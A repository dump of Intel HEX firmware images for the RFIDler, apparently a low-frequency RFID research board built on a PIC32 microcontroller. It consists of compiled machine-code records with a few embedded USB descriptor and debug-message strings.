:1057e800e8ffbd271400bfaf09f840000000000023
:0857f800fe55410b000000000a
:020000040000fa
:020000041d05d8
:105800000000023c00004224050040100000023c61
:105810000000422403004010059d023c3f00007040
:10582000059d023c1c594224050040100000000068
:10583000e8ffbd271400bfaf09f8400000000000da
:085840001056410b00000000ae
:020000040000fa
:020000041d05d8
:105848000000023c00004224070040100000023c17
:105858000000422405004050059d023c3f000070b6
:105868000800e00300000000059d023c1c5942248a
:10587800030040100000000009f84000000000008c
:085888000800e003000000002d
:020000040000fa
:020000041d05d8
:10589000000000000000144000000000000039403b
:1058a00000000000008883400000000084d71741fa
:1058b0000080e03779c34142176e05b5b5b893440f
:1058c000f5f93fe9034f3849321d30f948778252e4
:0858d0003cbf737fdd4f15653d
:020000040000fa
:020000041d05d8
:1058d80009024300020100c032090400000102026b
:1058e800000005240010010424020205240600011a
:1058f80005240100010705820308000209040100cc
:10590800020a0000000705030240000007058302a1
:04591800400000004b
:020000040000fa
:020000041d05d8
:10591c0000606041c000000099aa033c81bf023cba
:10592c005566632430f240ac30f243ac6655033c10
:10593c00aa99633430f243ac81bf023c01000324ca
:10594c0018f643ac81bf023c10f6428c4956410b11
:04595c000000000047
:020000040000fa
:020000041d05d8
:10596000000083800d00601021108000211880004d
:105970000100632400006680feffc0540100632420
:105980000100a524ffffa68001006324fcffc014d2
:10599000ffff66a00800e003000000006056410b16
:0459a000211880004a
:020000040000fa
:020000041d05d8
:1059a40025325825345800002530336425303564b9
:1059b40000000000253033640000000025303278f8
:1059c40000000000253035640000000025303478e4
:1059d400000000003144353535393535353536006c
:1059e40031410000253258253458000025303364f5
:1059f40025303564000000002530336400000000c9
:105a040025303278000000002530356400000000a5
:105a14002530347800000000303131443800000073
:020000040000fa
:020000041d05d8
:105a2400801004000021040023208200059d023c14
:105a340078564224212044000000838c0800828c84
:105a4400080065ac04004010000000000400838cd2
:105a54002428a300080045ac0800e003000000006f
:020000040000fa
:020000041d05d8
:105a6400801004000021040023208200059d023cd4
:105a740078564224212044000000838c0800828c44
:105a8400040065ac04004010000000000400838c96
:105a94002428a300080045ac0800e003000000002f
:020000040000fa
:020000041d05d8
:105aa4000900c010211080002000022423104600a9
:105ab400070040180620c400041045000618c5005d
:105ac4000800e003251044000800e0032118a000aa
:105ad40023100200211800000800e003061045000e
:105ae4000900c01021108000200003242318660040
:105af400070060180428c500061864000410c400d8
:105b04000800e003251865000800e0032118a00040
:105b140023180300211000000800e00304186400a7
:020000040000fa
:020000041d05d8
:105b2400801004000021040023208200059d023c13
:105b340038884224212044000400828c0400a014ec
:105b44000800838c040043ac0800e003000000005c
:0c5b5400080043ac0800e0030000000063
:020000040000fa
:020000041d05d8
:105b6000e8ffbd271400bfaf00e0827c00e0a57c09
:105b70000340042481bf033c20f462ac81bf023c9b
:105b800040f445ac024e410f000000001400bf8fee
:085b90000800e0031800bd2726
:020000040000fa
:020000041d05d8
:105b98002110000021180000059d073c283ce7243f
:105ba8002000062406286400ff00a5302128e5000f
:105bb8000000a59008006324faff66142110450030
:085bc8000800e00300000000ea
:020000040000fa
:020000041d05d8
:105bd000e8ffbd271400bfaf006803408000023c0f
:105be00025106200006882400010032488bf023c38
:105bf000ed57410f081043ac1400bf8f0800e003bd
:045c00001800bd27a4
:020000040000fa
:020000041d05d8
:105c0400006803408000023c251062000068824066
:105c1400040080100010032488bf023c0800e00345
:105c2400041043ac88bf023c0800e003081043acf6
:020000040000fa
:020000041d05d8
:105c3400801004000021040023208200059d023c02
:105c440038884224212044000000828c0800838c80
:0c5c5400040043ac0800e0030000000066
:020000040000fa
:020000041d05d8
:105c6000e8ffbd271400bfaf00e0837c044004249c
:105c700081bf023c20f443ac024e410f0000000003
:0c5c80001400bf8f0800e0031800bd27cf
:020000040000fa
:020000041d05d8
:105c8c00801004000021040023208200059d023caa
:105c9c0078564224212044000000828c080045ac38
:0c5cac00240045ac0800e00300000000ec
:020000040000fa
:020000041d05d8
:105cb8003257410b202c057c06004010010084243b
:105cc80000008280fcff4514000000000800e0038b
:0c5cd800211080000800e00321100000f3
:020000040000fa
:020000041d05d8
:105ce40026034100700065007200740075007200a4
:105cf400650020004c0061006200730020004c002d
:085d0400740064002e00000091
:020000040000fa
:020000041d05d8
:105d0c00e0ffbd271c00bfaf2c00a2272c00a7afc3
:105d1c00213840005b55410f1000a2af1c00bf8f13
:085d2c000800e0032000bd2780
:020000040000fa
:020000041d05d8
:105d3400e0ffbd271c00bfaf2c00a2272c00a7af9b
:105d4400213840007255410f1000a2af1c00bf8fd4
:085d54000800e0032000bd2758
:020000040000fa
:020000041d05d8
:105d5c00e8ffbd271400bfaf3038410f0000000032
:105d6c00212040004a4f410f212860001400bf8fb2
:085d7c000800e0031800bd2738
:020000040000fa
:020000041d05d8
:105d8400059d023c1d3942242110820000004290ee
:105d940020008324010042300b2062000800e0034d
:045da400211080004a
:020000040000fa
:020000041d05d8
:105da800059d023c1d3942242110820000004290ca
:105db800e0ff8324020042300b2062000800e00369
:045dc8002110800026
:020000040000fa
:020000041d05d8
:105dcc0044656275672070696e2025643a20000076
:105ddc004f4646004f4e000025730d0a0000000090
:105dec000d0a50756c73653a202564200000000084
:105dfc004761703a20256400257300000d0a0000ed
:020000040000fa
:020000041d05d8
:105e0c0080bf033c105e628c01004230fdff4010ed
:105e1c0080bf023c205e428c0800e00300000000c2
:020000040000fa
:020000041d05d8
:105e2c000d0a436c6f636b20646574656374656401
:0c5e3c003a20256c6420487a0d0a000012
:020000040000fa
:020000041d05d8
:105e48000100843003008014000000000800e00313
:0c5e5800006060410800e0032060604131
:020000040000fa
:020000041d05d8
:105e6400e8ffbd271400bfafec3b410f000000006a
:0c5e74001400bf8f0800e0031800bd27d9
:020000040000fa
:020000041d05d8
:105e80000080013c2628a1002510040025180500eb
:0c5e90000800e00300000000000000001b
:020000040000fa
:020000041d05d8
:105e9c00160352004600490044006c006500720075
:085eac002d004c00460000002f
:020000040000fa
:020000041d05d8
:105eb4002530325800000000253032580d0a000009
:085ec400257300000d0a000027
:020000040000fa
:020000041d05d8
:105ecc0000800340f8ff02242410620003004234d7
:085edc000800e0030080824091
:020000040000fa
:020000041d05d8
:105ee40000601a40bfff1b3cffff7b3724d05b03dd
:085ef40000609a401800004212
:020000040000fa
:020000041d05d8
:105efc000000a0400000c84100401c4420bcbe482b
:085f0c00ca1b0e52aec59d64d4
:020000040000fa
:020000041d05d8
:105f14001201000202000040501d9860200001029e
:045f24000301000075
:020000040000fa
:020000041d05d8
:105f280000000000005e80bf005a80bf005880bf9c
:045f3800005c80bfca
:020000040000fa
:020000041d05d8
:105f3c000080013c261081000800e00300000000f6
:045f4c000000000051
:020000040000fa
:020000041d05d8
:105f50000c40059de45c059d9c5e059d407200a083
:020000040000fa
:020000041d05d8
:105f6000d7237fce8cd037a95749c1e648008ab6df
:105f70002530347500000000253031326c6c75001e
:105f80002530347500000000253031326c6c75000e
:0c5f90002e002e00000000002e2e00004d
:020000040000fa
:020000041d05d8
:085f9c000000000001000100fb
:020000040000fa
:020000041d05d8
:085fa4000101010101000000f0
:020000040000fa
:020000041d05d8
:085fac00081020283240648037
:020000040000fa
:020000041d05d8
:085fb4000800e00320606241d7
:020000040000fa
:020000041d05d8
:085fbc000800e00300606241ef
:020000040000fa
:020000041d05d8
:085fc4000800e00300000000ea
:020000040000fa
:020000041d05d8
:085fcc000800e00300000000e2
:020000040000fa
:020000041d05d8
:04400c00040309049c
:020000040000fa
:020000041d05d8
:045fd400d858059df7
:020000040000fa
:020000041d05d8
:045fd80001000100c3
:020000040000fa
:020000041d05d8
:045fdc0002040808ab
:00000001FF
================================================
FILE: firmware/Pic32/RFIDler.X/dist/default/production/RFIDler.X.production.hex
================================================
:020000040000fa
:020000041fc01b
:042ffc00ffffff6e66
:020000040000fa
:020000041d00dd
:106000000218400f0000000000601a40c0045a7fd0
:106010000500401300000000059d1a3c70655a27da
:10602000080040030000000000a01d3cf87ebd27d2
:1060300001a01c3c00809c270260094020582001e0
:10604000801e2a7d8449497d02608940c00000008d
:1060500000e0dc4102608b40c0000000059d083c70
:106060001c67082509f800010000000000a0083c9a
:106070003c00082500a0093cf06a29250600001014
:1060800000000000000000ad040000ad080000adfd
:106090000c0000ad100008252b080901f9ff2014a1
:1060a00000000000059d083cb8ad08250000098de2
:1060b000180020110400082500000a8d040008259e
:1060c00000000b8d090060110400082500000c91f0
:1060d000ffff4a250100082500002ca1fbff401509
:1060e000010029250500001000000000000020a18b
:1060f000ffff4a25fdff4015010029250300082563
:10610000fcff0a24244048010000098de7ff201508
:10611000000000000000093c0000292510002011ab
:10612000000000000000093c007f292588bf0a3cd0
:1061300010204a25000049ad0000093c007f2925b8
:1061400088bf0a3c20204a25000049ad0000093cd8
:10615000007f292588bf0a3c30204a25000049ad30
:1061600000488040ffff0a2400588a40009d093cf7
:1061700000502925017889400000093c01002925ab
:1061800000000a2444492a7d01608a408000093cbd
:1061900000688940008008408005097d404c090066
:1061a000006008405800013c2440010125402801be
:1061b00000608840c0000000059d083c2467082559
:1061c00009f800010000000000600840bfff013c2a
:1061d000ffff21342440010100608840000084302a
:1061e0000000a530059d083c645b082508000001ff
:0461f00000000000ab
:020000040000fa
:020000041d00dd
:10638000059d1a3cf85c5a270800400300000000f5
:020000040000fa
:020000041d00dd
:10518000059d1a3c78445a2708004003000000009f
:020000040000fa
:020000041d00dd
:085200006257410b00000000a1
:020000040000fa
:020000041d00dd
:085220006257410b0000000081
:020000040000fa
:020000041d00dd
:085240006257410b0000000061
:020000040000fa
:020000041d00dd
:085260006257410b0000000041
:020000040000fa
:020000041d00dd
:08528000841b410b000000003b
:020000040000fa
:020000041d00dd
:0852a0006257410b0000000001
:020000040000fa
:020000041d00dd
:0852c0006257410b00000000e1
:020000040000fa
:020000041d00dd
:0852e0006257410b00000000c1
:020000040000fa
:020000041d00dd
:085300006257410b00000000a0
:020000040000fa
:020000041d00dd
:085320006257410b0000000080
:020000040000fa
:020000041d00dd
:085340006257410b0000000060
:020000040000fa
:020000041d00dd
:085360006257410b0000000040
:020000040000fa
:020000041d00dd
:085380007ff1400b000000006a
:020000040000fa
:020000041d00dd
:0853a0006257410b0000000000
:020000040000fa
:020000041d00dd
:0853c0006257410b00000000e0
:020000040000fa
:020000041d00dd
:0853e0006257410b00000000c0
:020000040000fa
:020000041d00dd
:08540000c0f2400b00000000a7
:020000040000fa
:020000041d00dd
:085420006257410b000000007f
:020000040000fa
:020000041d00dd
:085440006257410b000000005f
:020000040000fa
:020000041d00dd
:085460006257410b000000003f
:020000040000fa
:020000041d00dd
:085480006257410b000000001f
:020000040000fa
:020000041d00dd
:0854a0006257410b00000000ff
:020000040000fa
:020000041d00dd
:0854c00097f0400b0000000012
:020000040000fa
:020000041d00dd
:0854e0006257410b00000000bf
:020000040000fa
:020000041d00dd
:085500006257410b000000009e
:020000040000fa
:020000041d00dd
:085520006257410b000000007e
:020000040000fa
:020000041d00dd
:085540006257410b000000005e
:020000040000fa
:020000041d00dd
:085560006257410b000000003e
:020000040000fa
:020000041d00dd
:085580006257410b000000001e
:020000040000fa
:020000041d00dd
:0855a0006257410b00000000fe
:020000040000fa
:020000041d00dd
:0855c0006257410b00000000de
:020000040000fa
:020000041d00dd
:0855e0006257410b00000000be
:020000040000fa
:020000041d00dd
:085600006257410b000000009d
:020000040000fa
:020000041d00dd
:085620006257410b000000007d
:020000040000fa
:020000041d00dd
:085640006257410b000000005d
:020000040000fa
:020000041d00dd
:085660006257410b000000003d
:020000040000fa
:020000041d00dd
:085680006257410b000000001d
:020000040000fa
:020000041d00dd
:0856a0006257410b00000000fd
:020000040000fa
:020000041d00dd
:0856c0006257410b00000000dd
:020000040000fa
:020000041d00dd
:0856e0006257410b00000000bd
:020000040000fa
:020000041d00dd
:085700006257410b000000009c
:020000040000fa
:020000041d00dd
:085720006257410b000000007c
:020000040000fa
:020000041d00dd
:085740006257410b000000005c
:020000040000fa
:020000041d00dd
:085760006257410b000000003c
:020000040000fa
:020000041d00dd
:085780006257410b000000001c
:020000040000fa
:020000041d00dd
:0857a000b09f400b0000000067
:020000040000fa
:020000041d00dd
:0857c0006257410b00000000dc
:020000040000fa
:020000041d00dd
:0857e0006257410b00000000bc
:020000040000fa
:020000041d00dd
:085800006257410b000000009b
:020000040000fa
:020000041d00dd
:085820006257410b000000007b
:020000040000fa
:020000041d00dd
:085840006257410b000000005b
:020000040000fa
:020000041d00dd
:085860006257410b000000003b
:020000040000fa
:020000041fc01b
:1004800000f89b40c0000000059d1b3c185e7b27c8
:10049000020060130000000000c09b4000f81b40f9
:0c04a000c00000001f000042000000002f
:020000040000fa
:020000041d00dd
:106e0000e0ffbd271c00bfaf1800beaf21f0a003fc
:106e10001000c0af8f1b400b000000001000c38f9c
:106e2000188182272110620001000324000043a082
:106e30001000c28f010042241000c2af1000c28fa8
:106e400003004228f5ff401400000000468080a3a4
:106e50003c8080a3ffff0224048082afffff022456
:106e6000088082af04d5400f0000000000a0023c63
:106e700058104424a223400f0000000034004014a6
:106e8000000000000c80828f00a0033c5810632497
:106e9000000043ac0c80828f0c0040a40c80828fd9
:106ea0000e0040a40c80828f100040ac0c80828fba
:106eb000140040ac0c80828f5c000324200043a0af
:106ec000010002241000c2afbc1b400b00000000f8
:106ed0000c80838f1000c28f2110620020000324d9
:106ee000200043a01000c28f010042241000c2af56
:106ef0001000c28f0b004228f5ff40140000000074
:106f00000c80828f360040a40c80828f10000324f6
:106f10003a0043a40c80828f2481838f3c0043acd1
:106f20000c80828f2481838f400043ac0c80828f41
:106f3000010003242c0043ac0c80828f340040a459
:106f4000348180a301000224d51b400b0000000007
:106f50002110000021e8c0031c00bf8f1800be8f65
:106f60002000bd270800e0030000000068ffbd27e7
:106f70009400bfaf9000beaf8c00b0af21f0a00373
:106f80009800c4af9c00c5af2118c0002110e000dc
:106f9000a000c3a3a400c2a39800c28f36004294ed
:106fa0004c00c2a70b0002241000c2af00a0023c9c
:106fb000440642243c00c2af9c00c28f3000428c89
:106fc0004000c2af1a00c0a71c00c0a72000c0a785
:106fd0002400c0af3000c0af3800c0a34400c0a33d
:106fe0009c00c28f34004294108182a71081829746
:106ff000240040100000000010818497c44e023c21
:107000004fec423419008200101000008228020068
:107010002118a000801003002118400080100300f8
:10702000231043002110450023108200ffff42304f
:107030004400c2a310818397c44e023c4fec4234fb
:10704000190062001010000082100200ffff4230a1
:107050001600c2a34400c2930500401400000000c3
:10706000108182970d00422c0400401000000000a7
:107070001600c293010042241600c2a31600c29358
:107080003800c2a39800c28f3c00438c9800c28f86
:10709000400043ac9c00c28f3a004294271002008b
:1070a0004600c2a74c00c2970d004014000000002b
:1070b0004c00c2279800c48f2128400001000624fc
:1070c000e72f400f000000001300401400000000f4
:1070d0001b0002241000c2af461c400b0000000041
:1070e0004c00c2970f0042300b004010000000001f
:1070f0004c00c2279800c48f2128400001000624bc
:10710000e72f400f000000000300401400000000c3
:107110001b0002241000c2af1000c38f1b0002240a
:1071200055066210000000001000c28f11004010d0
:10713000000000002800c0af2c00c0af5000c327e3
:107140004c00c2279800c48f2128600021304000e5
:107150003839400f000000004800c2a34800c39324
:107160000200022405006214000000009e22400b71
:10717000000000009e22400b000000004800c29367
:1071800030064014000000005b00c3930f0002248f
:107190001c006210000000002400c0af5000c39328
:1071a0003c00c28f000043a01600c0a3791c400b16
:1071b000000000001600c293010042243c00c38f6f
:1071c000211062001600c3931000c4272118830009
:1071d00041006390000043a01600c29301004224c6
:1071e0001600c2a31600c2930a00422cf1ff4014fd
:1071f00000000000010002242800c2af291e400b3d
:10720000000000005000c29340004230f8004010df
:10721000000000005000c2931f0042304900c2a38a
:10722000a400c29315004014000000001081829752
:1072300005004010000000004900c3933800c293cd
:107240000800621400000000108182970b004014b7
:10725000000000004900c3930100022407006210ef
:10726000000000004c00c29701004224ffff4230a2
:107270004c00c2a79c22400b000000005000c293ab
:10728000bf004230ffff4230211840002110600053
:107290008010020080200200231082002110430091
:1072a000ffff4230ffff4224ffff42301a00c2a717
:1072b0001a00c2971800c2a71a00c287ffff432412
:1072c0001a00c3a7212040006e00c39700a0023c13
:1072d000402004004406422421108200000043a400
:1072e0001a00c287ffff43241a00c3a721204000d1
:1072f0006c00c39700a0023c4020040044064224d6
:1073000021108200000043a41a00c287ffff43241b
:107310001a00c3a7212040006800c39700a0023cc8
:10732000402004004406422421108200000043a4af
:107330001a00c287ffff43241a00c3a72120400080
:107340006600c39700a0023c40200400440642248b
:1073500021108200000043a41a00c287ffff4324cb
:107360001a00c3a7212040006400c39700a0023c7c
:10737000402004004406422421108200000043a45f
:107380001a00c287ffff43241a00c3a72120400030
:107390006200c39700a0023c40200400440642243f
:1073a00021108200000043a41a00c287ffff43247b
:1073b0001a00c3a7212040006000c39700a0023c30
:1073c000402004004406422421108200000043a40f
:1073d0001a00c287ffff43241a00c3a721204000e0
:1073e0005e00c39700a0023c4020040044064224f3
:1073f00021108200000043a45900c2937000c2a370
:107400005a00c2937100c2a31a00c287ffff43242f
:107410001a00c3a7212040007000c39700a0023cbf
:10742000402004004406422421108200000043a4ae
:107430005700c2937000c2a35800c2937100c2a348
:107440001a00c287ffff43241a00c3a7212040006f
:107450007000c39700a0023c402004004406422470
:1074600021108200000043a45500c2937000c2a303
:107470005600c2937100c2a31a00c287ffff4324c3
:107480001a00c3a7212040007000c39700a0023c4f
:10749000402004004406422421108200000043a43e
:1074a0005300c2937000c2a35400c2937100c2a3e0
:1074b0001a00c287ffff43241a00c3a721204000ff
:1074c0007000c39700a0023c402004004406422400
:1074d00021108200000043a45100c2937000c2a397
:1074e0005200c2937100c2a31a00c287ffff432457
:1074f0001a00c3a7212040007000c39700a0023cdf
:10750000402004004406422421108200000043a4cd
:107510001800c29701004224ffff42302000c2a79a
:10752000010002241600c2a35f1d400b00000000f2
:107530001a00c3871600c2932118620000a0023c03
:1075400040180300440642242110620000004294c7
:1075500007004014000000001600c293ffff4330f4
:107560001a00c29721106200ffff42302000c2a71c
:107570001600c293010042241600c2a31600c29353
:107580000e00422ceaff401400000000a400c29349
:107590000f00401400000000108182972118400065
:1075a0002000c2870a00621000000000108182974c
:1075b00007004010000000004c00c2970100422468
:1075c000ffff42304c00c2a79c22400b000000008d
:1075d0002000c297ffff4224ffff42301c00c2a7d9
:1075e000010002242400c2af1e1e400b0000000058
:1075f0002400c38f010002249900621400000000df
:107600001a00c287ffff43241a00c3a721204000ad
:107610006e00c39700a0023c4020040044064224b0
:1076200021108200000043a41a00c287ffff4324f8
:107630001a00c3a7212040006c00c39700a0023ca1
:10764000402004004406422421108200000043a48c
:107650001a00c287ffff43241a00c3a7212040005d
:107660006800c39700a0023c402004004406422466
:1076700021108200000043a41a00c287ffff4324a8
:107680001a00c3a7212040006600c39700a0023c57
:10769000402004004406422421108200000043a43c
:1076a0001a00c287ffff43241a00c3a7212040000d
:1076b0006400c39700a0023c40200400440642241a
:1076c00021108200000043a41a00c287ffff432458
:1076d0001a00c3a7212040006200c39700a0023c0b
:1076e000402004004406422421108200000043a4ec
:1076f0001a00c287ffff43241a00c3a721204000bd
:107700006000c39700a0023c4020040044064224cd
:1077100021108200000043a41a00c287ffff432407
:107720001a00c3a7212040005e00c39700a0023cbe
:10773000402004004406422421108200000043a49b
:107740005900c2937000c2a35a00c2937100c2a331
:107750001a00c287ffff43241a00c3a7212040005c
:107760007000c39700a0023c40200400440642245d
:1077700021108200000043a45700c2937000c2a3ee
:107780005800c2937100c2a31a00c287ffff4324ae
:107790001a00c3a7212040007000c39700a0023c3c
:1077a000402004004406422421108200000043a42b
:1077b0005500c2937000c2a35600c2937100c2a3c9
:1077c0001a00c287ffff43241a00c3a721204000ec
:1077d0007000c39700a0023c4020040044064224ed
:1077e00021108200000043a45300c2937000c2a382
:1077f0005400c2937100c2a31a00c287ffff432442
:107800001a00c3a7212040007000c39700a0023ccb
:10781000402004004406422421108200000043a4ba
:107820005100c2937000c2a35200c2937100c2a360
:107830001a00c287ffff43241a00c3a7212040007b
:107840007000c39700a0023c40200400440642247c
:1078500021108200000043a41e1e400b0000000007
:107860004c00c29701004224ffff42304c00c2a7e7
:107870009c22400b000000001a00c287070040183d
:10788000000000004c00c29701004224ffff42307c
:107890004c00c2a79c22400b000000000100022403
:1078a0002c00c2af2400c0af1000c0afa400c29330
:1078b0000600401000000000010003247d01431079
:1078c000000000004d22400b000000001600c0a385
:1078d000421e400b000000001600c2931600c39326
:1078e0003c00c48f2118830000006390201c037c9f
:1078f0001000c42721108200640043a01600c29328
:10790000010042241600c2a31600c2930b00422cb1
:10791000f1ff4014000000003c00c28f0800422428
:107920000000439020000224570062100000000075
:107930001600c0a35b1e400b000000001600c2939f
:107940003c00c38f211062000000439020000224fd
:1079500003006214000000005f1e400b00000000e6
:107960001600c293010042241600c2a31600c2935f
:107970000800422cf1ff4014000000001600c293e2
:10798000010043241600c3a31000c3272110620086
:107990002e000324640043a01600c2930100432478
:1079a0001600c3a33c00c38f08006324000063904b
:1079b000201c037c1000c42721108200640043a017
:1079c0003c00c28f090042240000439020000224a2
:1079d0000d006210000000001600c2930100432455
:1079e0001600c3a33c00c38f09006324000063900a
:1079f000201c037c1000c42721108200640043a0d7
:107a0000881e400b000000001600c29301004324b2
:107a10001600c3a31000c32721106200640040a019
:107a20003c00c28f0a004224000043902000022440
:107a30000d006210000000001600c29301004324f4
:107a40001600c3a33c00c38f0a00632400006390a8
:107a5000201c037c1000c42721108200640043a076
:107a6000b51e400b000000001600c2930100432425
:107a70001600c3a31000c32721106200640040a0b9
:107a8000b51e400b000000001600c0a3b11e400b45
:107a9000000000001600c2931000c32721106200ee
:107aa00064004380200002240300621400000000f0
:107ab000b51e400b000000001600c29301004224d6
:107ac0001600c2a31600c2930800422cf1ff401416
:107ad000000000001600c2931000c32721106200ae
:107ae000640040a0108182978c00401000000000cc
:107af0002c00c28f4a004010000000001800c0a7f0
:107b0000ff1e400b000000009c00c28f2c00428c26
:107b100026004010000000001800c287401002003c
:107b20004000c38f21106200000042941400c2a3e1
:107b30001800c38700a0023c4018030044064224fa
:107b400021106200000042941500c2a31800c387f0
:107b500000a0023c401803004406422421106200a9
:107b6000000042940001422c0c0040100000000074
:107b70001400c29321204000ef58410f0000000084
:107b8000218040001500c29321204000ef58410f92
:107b90000000000016000212000000000b0002248a
:107ba0001000c2af061f400b000000001800c28783
:107bb000401002004000c38f211062000000439477
:107bc0001800c48700a0023c402004004406422460
:107bd00021108200000042940500621000000000a5
:107be0000b0002241000c2af061f400b0000000073
:107bf0001800c287010042241800c2a71800c387da
:107c0000108182972a106200bfff4014000000001c
:107c1000ab1f400b00000000ab1f400b000000003a
:107c20002800c28f39004010000000009c00c28f65
:107c30002c00428c35004010000000007400c22768
:107c4000212040007b4b410f000000002118400024
:107c50001081829705006210000000000b000224d2
:107c60001000c2af401f400b000000001800c0a76a
:107c70003b1f400b000000001800c28740100200ac
:107c80004000c38f21106200000042941400c2a380
:107c90001800c2871000c3272110620064004280d0
:107ca0001500c2a31400c29321204000ef58410fd9
:107cb00000000000218040001500c29321204000f8
:107cc000ef58410f00000000050002120000000004
:107cd0000b0002241000c2af401f400b0000000048
:107ce0001800c287010042241800c2a71800c387e9
:107cf000108182972a106200dfff4014000000000c
:107d000000000000ab1f400b000000000b0002242d
:107d10001000c2afab1f400b000000002c00c28f50
:107d20003f004010000000007400c22721204000e6
:107d30007b4b410f00000000211840002000c2874b
:107d400005006210000000000b0002241000c2af0a
:107d5000ab1f400b000000001800c0a7811f400ba4
:107d6000000000001800c38700a0023c4018030078
:107d70004406422421106200000042941400c2a371
:107d80001800c2871000c3272110620064004280df
:107d90001500c2a31800c38700a0023c40180300ce
:107da0004406422421106200000042940001422c4b
:107db0000c004010000000001400c293212040007d
:107dc000ef58410f00000000218040001500c293d1
:107dd00021204000ef58410f000000000600021271
:107de000000000000b0002241000c2af00000000e1
:107df000ab1f400b000000001800c28701004224a6
:107e00001800c2a71800c3872000c2872a1062008a
:107e1000d4ff401400000000ab1f400b0000000026
:107e20001600c0a3a71f400b000000001600c2935d
:107e30003c00c38f21106200000042901400c2a3d6
:107e40001600c2939c00c38f211062002000428064
:107e50001500c2a31400c29321204000ef58410f27
:107e600000000000218040001500c2932120400046
:107e7000ef58410f00000000050002120000000052
:107e80000b0002241000c2afab1f400b000000002b
:107e90001600c293010042241600c2a31600c2932a
:107ea0000b00422ce1ff4014000000004d22400b6b
:107eb00000000000108182978a014010000000003d
:107ec0003000c0af2c00c28f220040100000000024
:107ed0001c00c2971e00c2a7cb1f400b0000000071
:107ee0001e00c38700a0023c401803004406422441
:107ef00021106200000043942e0002240800621446
:107f000000000000010002243000c2af1e00c28742
:107f1000ffff42241e00c2a7ce1f400b000000003e
:107f20001e00c287ffff42241e00c2a71e00c28798
:107f3000ebff401c000000003000c28f0f00401417
:107f4000000000001c00c2971e00c2a7df1f400bec
:107f5000000000003c00c28f080042240000439053
:107f6000200002240300621000000000010002242f
:107f70003000c2af070002241e00c2a71081829702
:107f8000ffff4224ffff42301a00c2a73400c0aff7
:107f9000f81f400b000000001a00c28740100200ca
:107fa0004000c38f21106200000043942e00022481
:107fb0000800621400000000010002243400c2af77
:107fc0001a00c287ffff42241a00c2a7fb1f400b02
:107fd000000000001a00c287ffff42241a00c2a757
:107fe0001a00c287ecff401c000000003400c28f62
:107ff000050040140000000010818297ffff42241a
:10800000ffff42301a00c2a71800c0a71800c2879d
:10801000401002004000c38f211062000000439412
:108020002a00022403006214000000007d20400b9f
:10803000000000001800c3871e00c2872a104300fa
:1080400005004010000000000b0002241000c2af29
:108050007d20400b000000001800c2874010020085
:108060004000c38f21106200000043943f000224af
:108070004b006210000000009c00c28f2c00428c5c
:1080800033004010000000001800c28740100200ba
:108090004000c38f21106200000042941400c2a36c
:1080a0002c00c28f0a004010000000001800c38797
:1080b00000a0023c40180300440642242110620044
:1080c000000042941500c2a33920400b00000000bc
:1080d0001800c2873c00c38f21106200000042904c
:1080e0001500c2a32c00c28f0a004010000000003f
:1080f0001800c38700a0023c401803004406422435
:1081000021106200000042940001422c0c0040103b
:10811000000000001400c29321204000ef58410fde
:1081200000000000218040001500c2932120400083
:10813000ef58410f0000000019000212000000007b
:108140000b0002241000c2af7d20400b0000000095
:108150001800c287401002004000c38f2110620047
:10816000000043941800c48700a0023c4020040093
:10817000440642242110820000004294040062144c
:10818000000000002800c28f050040100000000021
:108190000b0002241000c2af7d20400b0000000045
:1081a0001800c287010042241800c2a71800c38724
:1081b0001a00c2872a1043000c0040100000000083
:1081c0001800c3871e00c2872a1043000500401410
:1081d000000000000b0002241000c2af7d20400b05
:1081e000000000007d20400b000000000320400b39
:1081f000000000003400c28f0b004014000000009b
:108200003000c38f0100022405006214000000004a
:108210000b0002241000c2af4d22400b00000000f2
:108220004d22400b000000003000c28f05004014ba
:10823000000000000b0002241000c2af4d22400bd2
:10824000000000002c00c28f07004010000000005a
:108250001e00c29702004224ffff42301e00c2a748
:108260009c20400b00000000080002241e00c2a752
:108270001a00c29702004224ffff42301800c2a732
:108280001800c287401002004000c38f2110620016
:10829000000043942a00022403006214000000003e
:1082a0003721400b000000002c00c28f0600401058
:1082b000000000001e00c3871c00c2872a10430074
:1082c00008004014000000002800c28f0900401080
:1082d000000000001e00c3870b000224050062148a
:1082e000000000000b0002241000c2af3721400b39
:1082f000000000001800c287401002004000c38f39
:1083000021106200000043943f0002244b006210e1
:10831000000000009c00c28f2c00428c33004010f3
:10832000000000001800c287401002004000c38f08
:1083300021106200000042941400c2a32c00c28fde
:108340000a004010000000001e00c38700a0023c8d
:1083500040180300440642242110620000004294a9
:108360001500c2a3e020400b000000001e00c287e1
:108370003c00c38f21106200000042901500c2a390
:108380002c00c28f0a004010000000001e00c387ae
:1083900000a0023c40180300440642242110620061
:1083a000000042940001422c0c004010000000002c
:1083b0001400c29321204000ef58410f000000003c
:1083c000218040001500c29321204000ef58410f4a
:1083d0000000000019000212000000000b0002243f
:1083e0001000c2af3721400b000000001800c28708
:1083f000401002004000c38f21106200000043942f
:108400001e00c48700a0023c402004004406422411
:108410002110820000004294040062140000000059
:108420002800c28f05004010000000000b0002244d
:108430001000c2af3721400b000000001e00c287b1
:10844000010042241e00c2a71800c2870100422476
:108450001800c2a71800c387108182971d006214fc
:10846000000000002c00c28f060040100000000039
:108470001e00c3871c00c2872a1043000f00401053
:10848000000000002800c28f100040100000000013
:108490001e00c2870b0042280c00401000000000a4
:1084a0001e00c2873c00c38f211062000000439071
:1084b0002000022405006210000000000b000224ce
:1084c0001000c2af3721400b000000003721400be5
:1084d00000000000a020400b000000004c22400bd8
:1084e000000000002c00c28f23004010000000009c
:1084f0001c00c2971800c2a73000c0af5421400b27
:10850000000000001800c38700a0023c40180300d0
:108510004406422421106200000043942e000224ed
:108520000800621400000000010002243000c2af05
:108530001800c287ffff42241800c2a75721400b32
:10854000000000001800c287ffff42241800c2a7e5
:108550001800c287ebff401c000000003000c28ff3
:1085600007004014000000001c00c2971800c2a7ba
:108570006021400b00000000070002241800c2a781
:108580009c00c28f200043802a0002245d006210fc
:10859000000000001600c0a32c00c28f1300401082
:1085a000000000001600c39300a0023c4018030026
:1085b0004406422421106200000042940001422c33
:1085c00006004010000000001600c3931800c28788
:1085d0002a10430005004010000000000b00022498
:1085e0001000c2afc121400b000000002c00c28f60
:1085f0000a004010000000001600c39300a0023cd7
:1086000040180300440642242110620000004294f6
:108610001400c2a38c21400b000000001600c2937e
:108620003c00c38f21106200000042901400c2a3de
:108630001600c2939c00c38f21106200200042806c
:108640001500c2a31500c3932a000224030062147c
:1086500000000000c121400b000000001500c39382
:108660003f00022410006210000000001400c293ba
:1086700021204000ef58410f000000002180400001
:108680001500c29321204000ef58410f0000000068
